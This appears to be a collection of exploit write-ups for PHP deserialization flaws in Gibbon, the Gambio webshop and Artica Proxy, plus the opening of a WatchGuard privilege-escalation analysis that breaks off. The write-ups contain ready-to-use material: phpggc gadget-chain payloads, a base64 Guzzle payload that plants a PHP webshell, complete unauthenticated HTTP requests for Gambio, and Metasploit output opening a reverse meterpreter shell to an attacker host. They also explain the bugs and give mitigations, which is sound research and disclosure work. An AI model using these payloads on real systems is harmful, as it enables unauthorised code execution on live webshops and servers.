kali@cerberus:~/phpggc$ phpggc -l Gadget Chains ------------- NAME VERSION TYPE VECTOR I Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct CodeIgniter4/RCE1 4.0.2 RCE (Function call) __destruct CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct Doctrine/FW1 ? File write __toString * Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct * Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct * Dompdf/FD1 1.1.1 <= ? File delete __destruct * Dompdf/FD2 ? < 1.1.1 File delete __destruct * Drupal7/FD1 7.0 < ? File delete __destruct * Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * Drupal9/RCE1 -8.9.6 <= 9.4.9+ RCE (Function call) __destruct * Guzzle/FW1 4.0.0-rc.2 <= 7.5.0+ File write __destruct Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * Kohana/FR1 3.* File read __toString * Laminas/FD1 <= 2.11.2 File delete __destruct Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * Laravel/RCE1 5.4.27 RCE (Function call) __destruct Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct * Laravel/RCE13 5.3.0 <= 9.5.1+ RCE (Function call) __destruct * Laravel/RCE14 5.3.0 <= 9.5.1+ RCE (Function call) __destruct Laravel/RCE15 5.5.0 <= v9.5.1+ RCE (Function call) __destruct Laravel/RCE16 5.6.0 <= v9.5.1+ RCE (Function call) __destruct Magento/FW1 ? <= 1.9.4.0 File write __destruct * Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct Magento2/FD1 * File delete __destruct * Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * Phalcon/RCE1 <= 1.2.2 RCE __wakeup * Phing/FD1 2.6.0 <= 3.0.0a3 File delete __destruct PHPCSFixer/FD1 <= 2.17.3 File delete __destruct PHPCSFixer/FD2 <= 2.17.3 File delete __destruct PHPExcel/FD1 1.8.2+ File delete __destruct PHPExcel/FD2 <= 1.8.1 File delete __destruct PHPExcel/FD3 1.8.2+ File delete __destruct PHPExcel/FD4 <= 1.8.1 File delete __destruct PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString Slim/RCE1 3.8.1 RCE (Function call) __toString Smarty/FD1 ? File delete __destruct Smarty/SSRF1 ? SSRF __destruct * Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct Spiral/RCE2 -2.8+ RCE (Function call) __destruct * SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct SwiftMailer/FD2 5.4.6 <= 5.x-dev File delete __destruct * SwiftMailer/FR1 6.0.0 <= 6.3.0 File read __toString SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString SwiftMailer/FW3 5.0.1 File write __toString SwiftMailer/FW4 4.0.0 <= ? File write __destruct Symfony/FD1 v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6 File delete __destruct Symfony/FW1 2.5.2 File write DebugImport * Symfony/FW2 3.4 File write __destruct Symfony/RCE1 v3.1.0 <= v3.4.34 RCE (Command) __destruct * Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * Symfony/RCE5 5.2.* RCE (Function call) __destruct Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct * Symfony/RCE7 v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7 RCE (Function call) __destruct Symfony/RCE8 v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1 RCE (Function call) __destruct TCPDF/FD1 <= 6.3.5 File delete __destruct * ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * ThinkPHP/RCE3 -6.0.1+ RCE (Function call) __destruct ThinkPHP/RCE4 -6.0.1+ RCE (Function call) __destruct Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * vBulletin/RCE1 -5.6.9+ RCE (Function call) __destruct WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * Yii/RCE1 1.1.20 RCE (Function call) __wakeup * Yii/RCE2 1.1.20 RCE (Function call) __destruct Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * ZendFramework/FD1 ? <= 1.12.20 File delete __destruct ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct
Yeah, this definitely helps, but we need to figure out first which gadget chains are supported by our Gibbon web application.
If we look at the directory where Gibbon is installed, typically /var/www
or /var/www/html
depending on the webroot
setting, you will find a directory vendor
. Running the ls
command will list the framework/libraries that are installed and supported by the web application.
root@cuckoo:/var/www/vendor# ls aura ezyang league moneyphp omnipay phpoffice setasign autoload.php firebase maennchen monolog paragonie phpseclib slim clue fzaninotto markbaker mpdf parsecsv psr symfony composer google matthewbdaly myclabs php-http ralouphie tecnickcom eluceo guzzlehttp microsoft nikic phpmailer robthree twig
And indeed you can see that there are frameworks/libraries listed that are part of our gadget chain list, such as monolog
and symfony
.
Ok, so we have some pre-built gadget chains options that we can try, but we also need to figure if the versions installed are supported.
Let’s explore monolog
a bit deeper and check CHANGELOG.md
which version is installed.
root@cuckoo:/var/www/vendor/monolog/monolog# cat CHANGELOG.md ### 1.27.1 (2022-06-09) * Fixed MandrillHandler support for SwiftMailer 6 (#1676) * Fixed StreamHandler chunk size (backport from #1552) ### 1.27.0 (2022-03-13) * Added $maxDepth / setMaxDepth to NormalizerFormatter / JsonFormatter to configure the maximum depth if the default of 9 does not work for you (#1633)
Version 1.27.1
is installed, so the next question is which pre-built monolog gadget chains can we use?
There is a nice python script test-gc-compatibility.py
as part of phpggc
that does this job for us.
kali@cerberus:~/phpggc$ python ./test-gc-compatibility.py monolog/monolog:1.27.1 monolog/fw1 monolog/rce1 monolog/rce2 monolog/rce3 monolog/rce4 monolog/rce5 monolog/rce6 monolog/rce7 monolog/rce8 monolog/rce9 -w 4 Running on PHP version PHP 8.2.12 (cli) (built: Jan 8 2024 02:15:58) (NTS). Testing 1 versions for monolog/monolog against 10 gadget chains. ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ monolog/monolog ┃ Package ┃ monolog/fw1 ┃ monolog/rce1 ┃ monolog/rce2 ┃ monolog/rce3 ┃ monolog/rce4 ┃ monolog/rce5 ┃ monolog/rce6 ┃ monolog/rce7 ┃ monolog/rce8 ┃ monolog/rce9 ┃ ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ 1.27.1 │ OK │ KO │ OK │ OK │ KO │ KO │ OK │ OK │ OK │ KO │ KO │ └─────────────────┴─────────┴─────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┘ kali@cerberus:~/phpggc$
So we have quite some options that we can test.
To generate the serialized data with the payload for a particular gadget chain, you can run the following command: ./phpggc -f monolog/rce1 system id
which generates the gadget chain monolog/rce1
with the payload. In this case, the serialized data gets deserialized and the id
command gets executed using the system function call.
It is important, that it does not really matter if the instantiation of this object makes logical sense from an application perspective. We are manipulating the serialized data generated by the web application and pushing it to a supported gadget chain that will generate an object instance and hopefully execute the payload during the deserialization process. The -f
option applies the fast-destruct technique, so that the object is destroyed right after the unserialize()
call, as opposed to at the end of the script.
kali@cerberus:~/phpggc$ ./phpggc -f monolog/rce1 system id a:2:{i:7;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:3;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}
Important: there are null bytes in the serialized data, for example *socket
is \x00*\x00socket
and therefore the size is 9 and not 7.
This applies for all the *items
.
I have created an exploit that is are published as official module Gibbon Online School Platform Authenticated RCE [CVE-2024-24725] in Metasploit.
If you review the module, you will see most of the above theory and discussions back in the exploit code.
Summary
Deserialization flaws are pretty common in web application design.
Here are some simple steps to identify and exploit potential deserialization vulnerabilities in the application code:
- get access to the application source code;
- search for the language specific serialization and deserialization functions in the code. For PHP, these functions are
serialize()
andunserialize()
;
- check if user-controlled parameters are part of serialize and deserialize process;
- check the availability of pre-built gadget chains that are supported by your web application and can be leveraged; and
- last but not least, try and error until the magic happens ;–)
Till next time….
References
CVE-2024-24725
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Metasploit PR 19044: Gibbon Online School Platform Authenticated RCE [CVE-2024-24725]
Credits
Credits go to the security researchers below whom discovered this vulnerability
SecondX.io Research Team (Ali Maharramli, Fikrat Guliev, Islam Rzayev )
Technical Analysis
As discussed in my previous attackerkb article CVE-2024-2054 , here another example of a Deserialization of Untrusted Data (DUD) vulnerability.
In this case, it is present at the online e-commerce webshop made by Gambio. If you launch their main website, it shows you that around 20.000 Webshops are live. I did a search with Shodan
using http.component:"Gambio"
and I could only find a limited amount of webshops, (around 300) but nevertheless the majority of these webshops are still vulnerable.
The main issue sits in the search
parameter of the Parcelshopfinder/AddAddressBookEntry
function which is de-serialized without checking the data.
The ParcelshopfinderController.inc.php
file contains this vulnerable function (line 291).
$postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT)); if ($postnumber == 0 || $this->isValidPostnummer($postnumber) !== true) { $search = unserialize(base64_decode($this->_getPostData('search'))); $psfParams = [ 'street' => $search[0], 'house' => $search[1], 'zip' => $search[2], 'city' => $search[3], 'country' => $search[4], 'firstname' => $firstname, 'lastname' => $lastname, 'postnumber' => $postnumber, 'additional_info' => $additional_info, 'error' => 'invalid_postnumber', ]; }
The application is using “Guzzle” which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.
The following data triggers this vulnerability when encoded with base64
"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}"
echo -e "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}" | base64 -w0 TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K
and using the following HTTP POST request:
POST /shop.php?do=Parcelshopfinder/AddAddressBookEntry HTTP/1.1 Host: your_webshop_ip Content-Type: application/x-www-form-urlencoded Cookie: your_cookie checkout_started=0&search=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K&street_address=timestreet&house_number=10&additional_info=&postcode=000&city=bigben&country=DE&firstname=cuckoo&lastname=clock&postnumber=111111&psf_name=t
You should get a HTTP 500 error and the response should show <h1>Unexpected error occurred...</h1>Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
.
However, it is important to obtain a valid session cookie first in order to execute the above POST request successfully.
You can obtain this session cookie by first creating a guest user in the online web application using the HTTP POST request below.
This does not require any pre-authentication to be successful.
POST /shop.php?do=CreateGuest/Proceed HTTP/1.1 Host: your_webshop_ip Content-Type: application/x-www-form-urlencoded firstname=cuckoo&lastname=clock&email_address=cuckoo@clock.com&email_address_confirm=cuckoo@clock.com&b2b_status=0&company=&vat=&street_address=timestreet&postcode=11111&city=bigben&country=8&telephone=4912312312312&fax=&action=process
IMPORTANT NOTE: Use value 8 for country otherwise this request is not successful. You should get a 302
and in the admin page of your online webshop the user should show up at the guest section.
If all goes well, a file cuckoo.php
gets created in the webroot
directory with the PHP code <?php echo system('whoami');?>
.
root@cuckoo:~# cd /var/www root@cuckoo:/var/www# ls -l cuckoo.php -rw-r--r-- 1 www-data www-data 165 Mar 29 08:51 cuckoo.php root@cuckoo:/var/www# cat cuckoo.php [{"Expires":1,"Discard":false,"Value":"<?php echo system('whoami');?>","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]
When called for instance with curl http://your_webshop_ip/cuckoo.php
, it should give you back the user under which the web service is running.
curl http://192.168.201.25/cuckoo.php [{"Expires":1,"Discard":false,"Value":"www-data www-data","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]
I have created a Metasploit module that will exploit this vulnerability Metasploit PR 19005: Gambio Webshop unauthenticated RCE.
Mitigation
If you want to test the module, you can download a vulnerable Gambio online webshop software from here. The version 4 branch of Gambio online webshop is vulnerable starting from version 4.9.2.0
or lower. The version 3 branch is not vulnerable. You are strongly advised to upgrade your webshop to the latest version, but at least to a version greater then 4.9.2.0
.
References
CVE-2024-23759
Herolab usd Advisory usd-2023-0046
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Gambio Webshop Downloads
Metasploit PR 19005: Gambio Webshop unauthenticated RCE
Credits
Credits goes to the security researchers below who discovered this vulnerability.
Christian Poeschl and Lukas Schraven from Herolab usd.
Technical Analysis
One of the common vulnerabilities that is still around and pretty common nowadays is the Deserialization of Untrusted Data (DUD
).
DUD
is a vulnerability that can occur in software systems that use serialization and deserialization. Serialization is the process of converting an object’s state to a stream of bytes, while deserialization is the process of recreating the object from the stream of bytes.
This is typically used to exchange information between systems. Distributed systems often share objects across separate nodes, so objects must be delivered over the wire. Since objects tend to consist of many parts, it can be time-consuming to write code that handles the delivery of each individual part. Serialization enables us to save and transmit the state of an object in a standardized way. Deserialization then enables us to recreate objects after they have been serialized for transmission over the wire, between applications, through firewalls, and more.
In a system that uses DUD
, untrusted data, such as data received from an external source, is deserialized without proper validation. This can allow an attacker to inject malicious data into the system, potentially leading to security vulnerabilities such as remote code execution, unauthorized access to sensitive data, or other malicious actions (see also MITRE CWE-502: Deserialization of Untrusted Data or OWASP CWE-502: Deserialization of Untrusted Data).
And this vulnerability is one of the many that we see nowadays. Korelogic discovered a DUD
in Artica Proxy 4.50
and 4.40
in wiz.wizard.progress.php
where prior to authentication, a user can send an HTTP request to the /wizard/wiz.wizard.progress.php
endpoint. This endpoint processes the build-js
query parameter by base64 decoding the provided value without checking the data and then calling the unserialize
PHP function with the decoded value as input. More technical details can be found in the Korelogic Advisory KL-001-2024-002.
I have created a Metasploit module that will exploit this vulnerability. I did make some enhancements compared to the POC that Korelogic published. For instance, I am not overwriting the file /usr/share/artica-postfix/wizard/wiz.upload.php
but creating a randomized PHP file to trigger the remote code execution which is removed automatically after successful exploitation to cover our tracks.
Module Details
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info Name: Artica Proxy Unauthenticated PHP Deserialization Vulnerability Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054 Platform: PHP, Unix, Linux Arch: php, cmd, x64, x86 Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2024-03-05 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Jaggar Henry of KoreLogic Inc. Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 PHP 1 Unix Command 2 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba sics/using-metasploit.html RPORT 9000 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The Artica Proxy endpoint URL URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host WEBSHELL no Set webshell name without extension. Name will be randomly generated if left un set. When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on t he local machine or 0.0.0.0 to listen on all addresses. SRVPORT 1981 yes The local port to listen on. When TARGET is not 0: Name Current Setting Required Description ---- --------------- -------- ----------- COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) Payload information: Description: A Command Injection vulnerability in Artica Proxy appliance 4.50 and below allows remote attackers to run arbitrary commands via unauthenticated HTTP request. The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. References: https://nvd.nist.gov/vuln/detail/CVE-2024-2054 https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054 https://packetstormsecurity.com/files/177482 View the full module info with the info -d command.
Target 0 – PHP native php/meterpreter/reverse_tcp
session
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo webshell => cuckoo msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0 target => 0 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4 rhosts => 192.168.201.4 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8 lhost => 192.168.201.8 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.4:9000 can be exploited. [+] The target is vulnerable. Artica version: 4.50 [*] Executing PHP for php/meterpreter/reverse_tcp [*] Sending stage (39927 bytes) to 192.168.201.4 [+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php [*] Meterpreter session 15 opened (192.168.201.8:4444 -> 192.168.201.4:33986) at 2024-03-15 17:46:04 +0000 meterpreter > sysinfo Computer : artica-applianc OS : Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 Meterpreter : php/linux meterpreter > getuid Server username: www-data meterpreter >
Mitigation
If you want to test the module, you can download a vulnerable Artica Proxy appliance from here. You are strongly advised to upgrade your appliance to the latest version, but at least to a version greater then 4.50
. Another quick fix is to remove the /usr/share/artica-postfix/wizard
directory if it is not needed.
References
CVE-2024-2054
Korelogic Advisory KL-001-2024-002
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Artica Proxy Appliance ISO Downloads
Metasploit PR 18967: Artica Proxy unauthenticated RCE
Credits
Credits goes to the security researcher below who discovered this vulnerability
Jaggar Henry of KoreLogic Inc.
Technical Analysis
This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this attackerkb article.
The initial access is non privileged as user nobody
and /etc/fstab
shows that all filesystems are either protected with read-only
, no-suid
or no-exec
. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox
which only provides a very limited command set. This makes living off the land
pretty useless except for the nmap
binary which is installed by default.
Shell Banner: Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 ----- >>> import os >>> os.getuid() 99 >>> os.getgid() 96 >>> import subprocess >>> print(open("/etc/fstab").read()) /dev/wgrd.sysa_code / ext2 ro,noatime 1 1 /dev/wgrd.sysa_data /etc/wg ext3 rw,noexec,noatime 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/wgrd.boot /boot ext2 ro,noexec,noatime 0 0 /dev/wgrd.pending /pending ext2 rw,noexec,noatime 0 0 /dev/wgrd.var /var ext2 rw,noexec,noatime 0 0 # wg_linux platform.pkgspec >>> subprocess.call(["nmap", "127.0.0.1"]) Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET Nmap scan report for localhost.localdomain (127.0.0.1) Host is up (0.0014s latency). Not shown: 990 closed ports PORT STATE SERVICE 80/tcp open http 4125/tcp open rww 4126/tcp open ddrepl 5000/tcp open upnp 5001/tcp open commplex-link 5002/tcp open rfe 5003/tcp open filemaker 5004/tcp open avt-profile-1 6001/tcp open X11:1 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds 0 >>>
So the big question, how do we get privileged access?
Luckily, the appliance has python
installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep
program, that generates a crash report whenever a program crashes. And it has the setuid
bit set on user root.
